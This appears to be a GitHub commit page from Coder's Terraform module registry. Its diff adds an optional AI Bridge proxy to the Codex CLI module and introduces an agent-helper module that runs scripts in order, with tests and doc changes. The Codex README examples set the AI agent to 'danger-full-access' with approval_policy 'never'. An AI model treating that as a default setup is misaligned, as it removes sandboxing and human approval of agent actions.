feat: add docker-envbuilder and tasks-docker templates to coder namespace

Migrate docker-envbuilder and tasks-docker starter templates from coder/coder to the registry under the coder/ namespace. These templates are needed so that coder/coder can source all starter templates from the registry at build time. See: https://github.com/coder/coder/pull/22176 Related: https://github.com/coder/coder/issues/19778
fix(coder/modules/jetbrains and coder-labs/modules/nextflow): fix typos in two documentations (#714 )
2026-06-03 04:58:15 +00:00 · 2026-02-18 15:33:49 +00:00 · 2026-02-18 08:11:20 +00:00 · 2026-02-17 14:05:54 -06:00 · 2026-02-16 09:14:50 +11:00 · 2026-02-14 23:08:12 +01:00
45 changed files with 2548 additions and 181 deletions
@@ -41,7 +41,7 @@ jobs:
          LABEL_NAME: ${{ github.event.label.name }}
        id: bump-type
        run: |
-          case "$LABEL_NAME" in in
+          case "$LABEL_NAME" in
            "version:patch")
              echo "type=patch" >> $GITHUB_OUTPUT
              ;;
@@ -3,7 +3,7 @@ display_name: Codex CLI
 icon: ../../../../.icons/openai.svg
 description: Run Codex CLI in your workspace with AgentAPI integration
 verified: true
-tags: [agent, codex, ai, openai, tasks]
+tags: [agent, codex, ai, openai, tasks, aibridge]
 ---

 # Codex CLI
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
 ```tf
 module "codex" {
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.1"
  agent_id       = coder_agent.example.id
  openai_api_key = var.openai_api_key
  workdir        = "/home/coder/project"
@@ -32,7 +32,7 @@ module "codex" {
 module "codex" {
  count          = data.coder_workspace.me.start_count
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.1"
  agent_id       = coder_agent.example.id
  openai_api_key = "..."
  workdir        = "/home/coder/project"
@@ -40,7 +40,49 @@ module "codex" {
 }
 ```

-### Tasks integration
+### Usage with AI Bridge
+
+[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+
+
+For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
+
+#### Standalone usage with AI Bridge
+
+```tf
+module "codex" {
+  source          = "registry.coder.com/coder-labs/codex/coder"
+  version         = "4.1.1"
+  agent_id        = coder_agent.example.id
+  workdir         = "/home/coder/project"
+  enable_aibridge = true
+}
+```
+
+When `enable_aibridge = true`, the module:
+
+- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
+
+```toml
+[model_providers.aibridge]
+name = "AI Bridge"
+base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
+env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
+wire_api = "responses"
+
+[profiles.aibridge]
+model_provider = "aibridge"
+model = "<model>" # as configured in the module input
+model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
+```
+
+Codex then runs with `--profile aibridge`
+
+This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
+Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
+
+### Usage with Tasks
+
+This example shows how to configure Codex with Coder tasks.

 ```tf
 resource "coder_ai_task" "task" {
@@ -52,17 +94,46 @@ data "coder_task" "me" {}

 module "codex" {
  source         = "registry.coder.com/coder-labs/codex/coder"
-  version        = "4.0.0"
+  version        = "4.1.1"
  agent_id       = coder_agent.example.id
  openai_api_key = "..."
  ai_prompt      = data.coder_task.me.prompt
  workdir        = "/home/coder/project"

-  # Custom configuration for full auto mode
+  # Optional: route through AI Bridge (Premium feature)
+  # enable_aibridge = true
+}
+```
+
+### Advanced Configuration
+
+This example shows additional configuration options for custom models, MCP servers, and base configuration.
+
+```tf
+module "codex" {
+  source         = "registry.coder.com/coder-labs/codex/coder"
+  version        = "4.1.1"
+  agent_id       = coder_agent.example.id
+  openai_api_key = "..."
+  workdir        = "/home/coder/project"
+
+  codex_version = "0.1.0"  # Pin to a specific version
+  codex_model   = "gpt-4o" # Custom model
+
+  # Override default configuration
  base_config_toml = <<-EOT
+    sandbox_mode = "danger-full-access"
    approval_policy = "never"
    preferred_auth_method = "apikey"
  EOT
+
+  # Add extra MCP servers
+  additional_mcp_servers = <<-EOT
+    [mcp_servers.GitHub]
+    command = "npx"
+    args = ["-y", "@modelcontextprotocol/server-github"]
+    type = "stdio"
+  EOT
 }
 ```

@@ -92,33 +163,6 @@ preferred_auth_method = "apikey"
 network_access = true
 ```

-### Custom Configuration
-
-For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`:
-
-```tf
-module "codex" {
-  source  = "registry.coder.com/coder-labs/codex/coder"
-  version = "4.0.0"
-  # ... other variables ...
-
-  # Override default configuration
-  base_config_toml = <<-EOT
-    sandbox_mode = "danger-full-access"
-    approval_policy = "never"
-    preferred_auth_method = "apikey"
-  EOT
-
-  # Add extra MCP servers
-  additional_mcp_servers = <<-EOT
-    [mcp_servers.GitHub]
-    command = "npx"
-    args = ["-y", "@modelcontextprotocol/server-github"]
-    type = "stdio"
-  EOT
-}
-```
-
 > [!NOTE]
 > If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md).

@@ -137,3 +181,4 @@ module "codex" {
 - [Codex CLI Documentation](https://github.com/openai/codex)
 - [AgentAPI Documentation](https://github.com/coder/agentapi)
 - [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents)
+- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge)
@@ -113,7 +113,7 @@ describe("codex", async () => {
      sandbox_mode = "danger-full-access"
      approval_policy = "never"
      preferred_auth_method = "apikey"
-      
+
      [custom_section]
      new_feature = true
    `.trim();
@@ -189,7 +189,7 @@ describe("codex", async () => {
      args = ["-y", "@modelcontextprotocol/server-github"]
      type = "stdio"
      description = "GitHub integration"
-      
+
      [mcp_servers.FileSystem]
      command = "npx"
      args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
@@ -215,7 +215,7 @@ describe("codex", async () => {
      approval_policy = "untrusted"
      preferred_auth_method = "chatgpt"
      custom_setting = "test-value"
-      
+
      [advanced_settings]
      timeout = 30000
      debug = true
@@ -228,7 +228,7 @@ describe("codex", async () => {
      args = ["--serve", "--port", "8080"]
      type = "stdio"
      description = "Custom development tool"
-      
+
      [mcp_servers.DatabaseMCP]
      command = "python"
      args = ["-m", "database_mcp_server"]
@@ -454,4 +454,32 @@ describe("codex", async () => {
    );
    expect(startLog.stdout).not.toContain("test prompt");
  });
+
+  test("codex-with-aibridge", async () => {
+    const { id } = await setup({
+      moduleVariables: {
+        enable_aibridge: "true",
+        model_reasoning_effort: "none",
+      },
+    });
+
+    await execModuleScript(id);
+
+    const startLog = await readFileContainer(
+      id,
+      "/home/coder/.codex-module/agentapi-start.log",
+    );
+
+    const configToml = await readFileContainer(
+      id,
+      "/home/coder/.codex/config.toml",
+    );
+    expect(startLog).toContain("AI Bridge is enabled, using profile aibridge");
+    expect(startLog).toContain(
+      "Starting Codex with arguments: --profile aibridge",
+    );
+    expect(configToml).toContain(
+      "[profiles.aibridge]\n" + 'model_provider = "aibridge"',
+    );
+  });
 });
@@ -1,5 +1,5 @@
 terraform {
-  required_version = ">= 1.0"
+  required_version = ">= 1.9"

  required_providers {
    coder = {
@@ -71,6 +71,27 @@ variable "cli_app_display_name" {
  default     = "Codex CLI"
 }

+variable "enable_aibridge" {
+  type        = bool
+  description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge"
+  default     = false
+
+  validation {
+    condition     = !(var.enable_aibridge && length(var.openai_api_key) > 0)
+    error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
+  }
+}
+
+variable "model_reasoning_effort" {
+  type        = string
+  description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort"
+  default     = "medium"
+  validation {
+    condition     = contains(["none", "low", "medium", "high"], var.model_reasoning_effort)
+    error_message = "model_reasoning_effort must be one of: none, low, medium, high."
+  }
+}
+
 variable "install_codex" {
  type        = bool
  description = "Whether to install Codex."
@@ -110,13 +131,13 @@ variable "install_agentapi" {
 variable "agentapi_version" {
  type        = string
  description = "The version of AgentAPI to install."
-  default     = "v0.11.6"
+  default     = "v0.11.8"
 }

 variable "codex_model" {
  type        = string
-  description = "The model for Codex to use. Defaults to gpt-5.1-codex-max."
-  default     = ""
+  description = "The model for Codex to use. Defaults to gpt-5.2-codex."
+  default     = "gpt-5.2-codex"
 }

 variable "pre_install_script" {
@@ -155,12 +176,31 @@ resource "coder_env" "openai_api_key" {
  value    = var.openai_api_key
 }

+resource "coder_env" "coder_aibridge_session_token" {
+  count    = var.enable_aibridge ? 1 : 0
+  agent_id = var.agent_id
+  name     = "CODER_AIBRIDGE_SESSION_TOKEN"
+  value    = data.coder_workspace_owner.me.session_token
+}
+
 locals {
  workdir         = trimsuffix(var.workdir, "/")
  app_slug        = "codex"
  install_script  = file("${path.module}/scripts/install.sh")
  start_script    = file("${path.module}/scripts/start.sh")
  module_dir_name = ".codex-module"
+  aibridge_config = <<-EOF
+  [model_providers.aibridge]
+  name = "AI Bridge"
+  base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
+  env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
+  wire_api = "responses"
+
+  [profiles.aibridge]
+  model_provider = "aibridge"
+  model = "${var.codex_model}"
+  model_reasoning_effort = "${var.model_reasoning_effort}"
+  EOF
 }

 module "agentapi" {
@@ -196,6 +236,7 @@ module "agentapi" {
     ARG_CODEX_START_DIRECTORY='${local.workdir}' \
     ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \
     ARG_CONTINUE='${var.continue}' \
+     ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
     /tmp/start.sh
   EOT

@@ -211,6 +252,8 @@ module "agentapi" {
    ARG_INSTALL='${var.install_codex}' \
    ARG_CODEX_VERSION='${var.codex_version}' \
    ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
+    ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
+    ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \
    ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \
    ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \
    ARG_CODEX_START_DIRECTORY='${local.workdir}' \
@@ -13,6 +13,8 @@ set -o nounset
 ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d)
 ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d)
 ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d)
+ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
+ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d)

 echo "=== Codex Module Configuration ==="
 printf "Install Codex: %s\n" "$ARG_INSTALL"
@@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech
 printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")"
 printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
 printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
+printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
 echo "======================================"

 set +o nounset
@@ -127,6 +130,15 @@ EOF
  fi
 }

+append_aibridge_config_section() {
+  local config_path="$1"
+
+  if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then
+    printf "Adding AI Bridge configuration\n"
+    echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path"
+  fi
+}
+
 function populate_config_toml() {
  CONFIG_PATH="$HOME/.codex/config.toml"
  mkdir -p "$(dirname "$CONFIG_PATH")"
@@ -140,6 +152,11 @@ function populate_config_toml() {
  fi

  append_mcp_servers_section "$CONFIG_PATH"
+
+  if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
+    printf "AI Bridge is enabled\n"
+    append_aibridge_config_section "$CONFIG_PATH"
+  fi
 }

 function add_instruction_prompt_if_exists() {
@@ -185,4 +202,7 @@ install_codex
 codex --version
 populate_config_toml
 add_instruction_prompt_if_exists
-add_auth_json
+
+if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
+  add_auth_json
+fi
@@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)"
 set -o nounset
 ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d)
 ARG_CONTINUE=${ARG_CONTINUE:-true}
+ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}

 echo "=== Codex Launch Configuration ==="
 printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
@@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
 printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")"
 printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
 printf "Continue Sessions: %s\n" "$ARG_CONTINUE"
+printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
 echo "======================================"
 set +o nounset

@@ -153,7 +155,10 @@ setup_workdir() {
 build_codex_args() {
  CODEX_ARGS=()

-  if [ -n "$ARG_CODEX_MODEL" ]; then
+  if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
+    printf "AI Bridge is enabled, using profile aibridge\n"
+    CODEX_ARGS+=("--profile" "aibridge")
+  elif [ -n "$ARG_CODEX_MODEL" ]; then
    CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
  fi

@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]

 A module that adds Nextflow to your Coder template.

-![Nextflow](../../.images/nextflow.png)
-
 ```tf
 module "nextflow" {
  count    = data.coder_workspace.me.start_count
@@ -0,0 +1,65 @@
+---
+display_name: Agent Helper
+description: Building block for modules that need orchestrated script execution
+icon: ../../../../.icons/coder.svg
+verified: false
+tags: [internal, library]
+---
+
+# Agent Helper
+
+> [!CAUTION]
+> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
+
+The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
+
+> [!NOTE]
+>
+> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
+
+```tf
+module "agent_helper" {
+  source  = "registry.coder.com/coder/agent-helper/coder"
+  version = "1.0.0"
+
+  agent_id        = coder_agent.main.id
+  agent_name      = "myagent"
+  module_dir_name = ".my-module"
+
+  pre_install_script = <<-EOT
+    #!/bin/bash
+    echo "Running pre-install tasks..."
+    # Your pre-install logic here
+  EOT
+
+  install_script = <<-EOT
+    #!/bin/bash
+    echo "Installing dependencies..."
+    # Your install logic here
+  EOT
+
+  post_install_script = <<-EOT
+    #!/bin/bash
+    echo "Running post-install configuration..."
+    # Your post-install logic here
+  EOT
+
+  start_script = <<-EOT
+    #!/bin/bash
+    echo "Starting the application..."
+    # Your start logic here
+  EOT
+}
+```
+
+## Execution Order
+
+The module orchestrates scripts in the following order:
+
+1. **Log File Creation** - Creates module directory and log files
+2. **Pre-Install Script** (optional) - Runs before installation
+3. **Install Script** - Main installation
+4. **Post-Install Script** (optional) - Runs after installation
+5. **Start Script** - Starts the application
+
+Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
@@ -0,0 +1,13 @@
+import { describe } from "bun:test";
+import { runTerraformInit, testRequiredVariables } from "~test";
+
+describe("agent-helper", async () => {
+  await runTerraformInit(import.meta.dir);
+
+  testRequiredVariables(import.meta.dir, {
+    agent_id: "test-agent-id",
+    agent_name: "test-agent",
+    module_dir_name: ".test-module",
+    start_script: "echo 'start'",
+  });
+});
@@ -0,0 +1,190 @@
+terraform {
+  required_version = ">= 1.0"
+
+  required_providers {
+    coder = {
+      source  = "coder/coder"
+      version = ">= 2.13"
+    }
+  }
+}
+
+variable "agent_id" {
+  type        = string
+  description = "The ID of a Coder agent."
+}
+
+data "coder_workspace" "me" {}
+
+data "coder_workspace_owner" "me" {}
+
+data "coder_task" "me" {}
+
+variable "pre_install_script" {
+  type        = string
+  description = "Custom script to run before installing the agent used by AgentAPI."
+  default     = null
+}
+
+variable "install_script" {
+  type        = string
+  description = "Script to install the agent used by AgentAPI."
+  default     = null
+}
+
+variable "post_install_script" {
+  type        = string
+  description = "Custom script to run after installing the agent used by AgentAPI."
+  default     = null
+}
+
+variable "start_script" {
+  type        = string
+  description = "Script that starts AgentAPI."
+}
+
+variable "agent_name" {
+  type        = string
+  description = "The name of the agent. This is used to construct unique script names for the experiment sync."
+
+}
+
+variable "module_dir_name" {
+  type        = string
+  description = "The name of the module directory."
+}
+
+locals {
+  encoded_pre_install_script  = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
+  encoded_install_script      = var.install_script != null ? base64encode(var.install_script) : ""
+  encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
+  encoded_start_script        = base64encode(var.start_script)
+
+  pre_install_script_name  = "${var.agent_name}-pre_install_script"
+  install_script_name      = "${var.agent_name}-install_script"
+  post_install_script_name = "${var.agent_name}-post_install_script"
+  start_script_name        = "${var.agent_name}-start_script"
+
+  module_dir_path = "$HOME/${var.module_dir_name}"
+
+  pre_install_path  = "${local.module_dir_path}/pre_install.sh"
+  install_path      = "${local.module_dir_path}/install.sh"
+  post_install_path = "${local.module_dir_path}/post_install.sh"
+  start_path        = "${local.module_dir_path}/start.sh"
+
+  pre_install_log_path  = "${local.module_dir_path}/pre_install.log"
+  install_log_path      = "${local.module_dir_path}/install.log"
+  post_install_log_path = "${local.module_dir_path}/post_install.log"
+  start_log_path        = "${local.module_dir_path}/start.log"
+}
+
+resource "coder_script" "pre_install_script" {
+  count        = var.pre_install_script == null ? 0 : 1
+  agent_id     = var.agent_id
+  display_name = "Pre-Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    mkdir -p ${local.module_dir_path}
+
+    trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
+    coder exp sync start ${local.pre_install_script_name}
+
+    echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
+    chmod +x ${local.pre_install_path}
+
+    ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "install_script" {
+  agent_id     = var.agent_id
+  display_name = "Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    mkdir -p ${local.module_dir_path}
+
+    trap 'coder exp sync complete ${local.install_script_name}' EXIT
+    %{if var.pre_install_script != null~}
+      coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
+    %{endif~}
+    coder exp sync start ${local.install_script_name}
+    echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
+    chmod +x ${local.install_path}
+
+    ${local.install_path} > ${local.install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "post_install_script" {
+  count        = var.post_install_script != null ? 1 : 0
+  agent_id     = var.agent_id
+  display_name = "Post-Install Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
+    coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
+    coder exp sync start ${local.post_install_script_name}
+
+    echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
+    chmod +x ${local.post_install_path}
+
+    ${local.post_install_path} > ${local.post_install_log_path} 2>&1
+  EOT
+}
+
+resource "coder_script" "start_script" {
+  agent_id     = var.agent_id
+  display_name = "Start Script"
+  run_on_start = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+
+    trap 'coder exp sync complete ${local.start_script_name}' EXIT
+
+    %{if var.post_install_script != null~}
+    coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
+    %{else~}
+    coder exp sync want ${local.start_script_name} ${local.install_script_name}
+    %{endif~}
+    coder exp sync start ${local.start_script_name}
+
+    echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
+    chmod +x ${local.start_path}
+
+    ${local.start_path} > ${local.start_log_path} 2>&1
+  EOT
+}
+
+output "pre_install_script_name" {
+  description = "The name of the pre-install script for sync."
+  value       = local.pre_install_script_name
+}
+
+output "install_script_name" {
+  description = "The name of the install script for sync."
+  value       = local.install_script_name
+}
+
+output "post_install_script_name" {
+  description = "The name of the post-install script for sync."
+  value       = local.post_install_script_name
+}
+
+output "start_script_name" {
+  description = "The name of the start script for sync."
+  value       = local.start_script_name
+}
@@ -0,0 +1,271 @@
+# Test for agent-helper module
+
+# Test with all scripts provided
+run "test_with_all_scripts" {
+  command = plan
+
+  variables {
+    agent_id            = "test-agent-id"
+    agent_name          = "test-agent"
+    module_dir_name     = ".test-module"
+    pre_install_script  = "echo 'pre-install'"
+    install_script      = "echo 'install'"
+    post_install_script = "echo 'post-install'"
+    start_script        = "echo 'start'"
+  }
+
+  # Verify pre_install_script is created when provided
+  assert {
+    condition     = length(coder_script.pre_install_script) == 1
+    error_message = "Pre-install script should be created when pre_install_script is provided"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].agent_id == "test-agent-id"
+    error_message = "Pre-install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
+    error_message = "Pre-install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.pre_install_script[0].run_on_start == true
+    error_message = "Pre-install script should run on start"
+  }
+
+  # Verify install_script is created
+  assert {
+    condition     = coder_script.install_script.agent_id == "test-agent-id"
+    error_message = "Install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.install_script.display_name == "Install Script"
+    error_message = "Install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.install_script.run_on_start == true
+    error_message = "Install script should run on start"
+  }
+
+  # Verify post_install_script is created when provided
+  assert {
+    condition     = length(coder_script.post_install_script) == 1
+    error_message = "Post-install script should be created when post_install_script is provided"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].agent_id == "test-agent-id"
+    error_message = "Post-install script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].display_name == "Post-Install Script"
+    error_message = "Post-install script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.post_install_script[0].run_on_start == true
+    error_message = "Post-install script should run on start"
+  }
+
+  # Verify start_script is created
+  assert {
+    condition     = coder_script.start_script.agent_id == "test-agent-id"
+    error_message = "Start script agent ID should match input"
+  }
+
+  assert {
+    condition     = coder_script.start_script.display_name == "Start Script"
+    error_message = "Start script should have correct display name"
+  }
+
+  assert {
+    condition     = coder_script.start_script.run_on_start == true
+    error_message = "Start script should run on start"
+  }
+
+  # Verify outputs for script names
+  assert {
+    condition     = output.pre_install_script_name == "test-agent-pre_install_script"
+    error_message = "Pre-install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.install_script_name == "test-agent-install_script"
+    error_message = "Install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "test-agent-post_install_script"
+    error_message = "Post-install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.start_script_name == "test-agent-start_script"
+    error_message = "Start script name output should be correctly formatted"
+  }
+}
+
+# Test with only required scripts (no pre/post install)
+run "test_without_optional_scripts" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent-id"
+    agent_name      = "test-agent"
+    module_dir_name = ".test-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Verify pre_install_script is NOT created when not provided
+  assert {
+    condition     = length(coder_script.pre_install_script) == 0
+    error_message = "Pre-install script should not be created when pre_install_script is null"
+  }
+
+  # Verify post_install_script is NOT created when not provided
+  assert {
+    condition     = length(coder_script.post_install_script) == 0
+    error_message = "Post-install script should not be created when post_install_script is null"
+  }
+
+  # Verify required scripts are still created
+  assert {
+    condition     = coder_script.install_script.agent_id == "test-agent-id"
+    error_message = "Install script should be created"
+  }
+
+  assert {
+    condition     = coder_script.start_script.agent_id == "test-agent-id"
+    error_message = "Start script should be created"
+  }
+
+  # Verify outputs
+  assert {
+    condition     = output.pre_install_script_name == "test-agent-pre_install_script"
+    error_message = "Pre-install script name output should be generated even when script is not created"
+  }
+
+  assert {
+    condition     = output.install_script_name == "test-agent-install_script"
+    error_message = "Install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "test-agent-post_install_script"
+    error_message = "Post-install script name output should be generated even when script is not created"
+  }
+
+  assert {
+    condition     = output.start_script_name == "test-agent-start_script"
+    error_message = "Start script name output should be correctly formatted"
+  }
+}
+
+# Test with mock data sources
+run "test_with_mock_data" {
+  command = plan
+
+  variables {
+    agent_id        = "mock-agent"
+    agent_name      = "mock-agent"
+    module_dir_name = ".mock-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Mock the data sources for testing
+  override_data {
+    target = data.coder_workspace.me
+    values = {
+      id            = "test-workspace-id"
+      name          = "test-workspace"
+      owner         = "test-owner"
+      owner_id      = "test-owner-id"
+      template_id   = "test-template-id"
+      template_name = "test-template"
+      access_url    = "https://coder.example.com"
+      start_count   = 1
+      transition    = "start"
+    }
+  }
+
+  override_data {
+    target = data.coder_workspace_owner.me
+    values = {
+      id            = "test-owner-id"
+      email         = "test@example.com"
+      name          = "Test User"
+      session_token = "mock-token"
+    }
+  }
+
+  override_data {
+    target = data.coder_task.me
+    values = {
+      id = "test-task-id"
+    }
+  }
+
+  # Verify scripts are created with mocked data
+  assert {
+    condition     = coder_script.install_script.agent_id == "mock-agent"
+    error_message = "Install script should use the mocked agent ID"
+  }
+
+  assert {
+    condition     = coder_script.start_script.agent_id == "mock-agent"
+    error_message = "Start script should use the mocked agent ID"
+  }
+}
+
+# Test script naming with custom agent_name
+run "test_script_naming" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent"
+    agent_name      = "custom-name"
+    module_dir_name = ".test-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Verify script names are constructed correctly
+  # The script should contain references to custom-name-* in the sync commands
+  assert {
+    condition     = can(regex("custom-name-install_script", coder_script.install_script.script))
+    error_message = "Install script should use custom agent_name in sync commands"
+  }
+
+  assert {
+    condition     = can(regex("custom-name-start_script", coder_script.start_script.script))
+    error_message = "Start script should use custom agent_name in sync commands"
+  }
+
+  # Verify outputs use custom agent_name
+  assert {
+    condition     = output.pre_install_script_name == "custom-name-pre_install_script"
+    error_message = "Pre-install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.install_script_name == "custom-name-install_script"
+    error_message = "Install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "custom-name-post_install_script"
+    error_message = "Post-install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.start_script_name == "custom-name-start_script"
+    error_message = "Start script name output should use custom agent_name"
+  }
+}
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
 ```tf
 module "agentapi" {
  source  = "registry.coder.com/coder/agentapi/coder"
-  version = "2.0.0"
+  version = "2.1.0"

  agent_id             = var.agent_id
  web_app_slug         = local.app_slug
@@ -49,6 +49,19 @@ module "agentapi" {
 }
 ```

+## Task log snapshot
+
+Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused.
+
+To enable for task workspaces:
+
+```tf
+module "agentapi" {
+  # ... other config
+  task_log_snapshot = true # default: true
+}
+```
+
 ## For module developers

 For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf).
@@ -257,4 +257,157 @@ describe("agentapi", async () => {
    );
    expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *");
  });
+
+  describe("shutdown script", async () => {
+    const setupMocks = async (
+      containerId: string,
+      agentapiPreset: string,
+      httpCode: number = 204,
+    ) => {
+      const agentapiMock = await loadTestFile(
+        import.meta.dir,
+        "agentapi-mock-shutdown.js",
+      );
+      const coderMock = await loadTestFile(
+        import.meta.dir,
+        "coder-instance-mock.js",
+      );
+
+      await writeExecutable({
+        containerId,
+        filePath: "/usr/local/bin/mock-agentapi",
+        content: agentapiMock,
+      });
+
+      await writeExecutable({
+        containerId,
+        filePath: "/usr/local/bin/mock-coder",
+        content: coderMock,
+      });
+
+      await execContainer(containerId, [
+        "bash",
+        "-c",
+        `PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
+      ]);
+
+      await execContainer(containerId, [
+        "bash",
+        "-c",
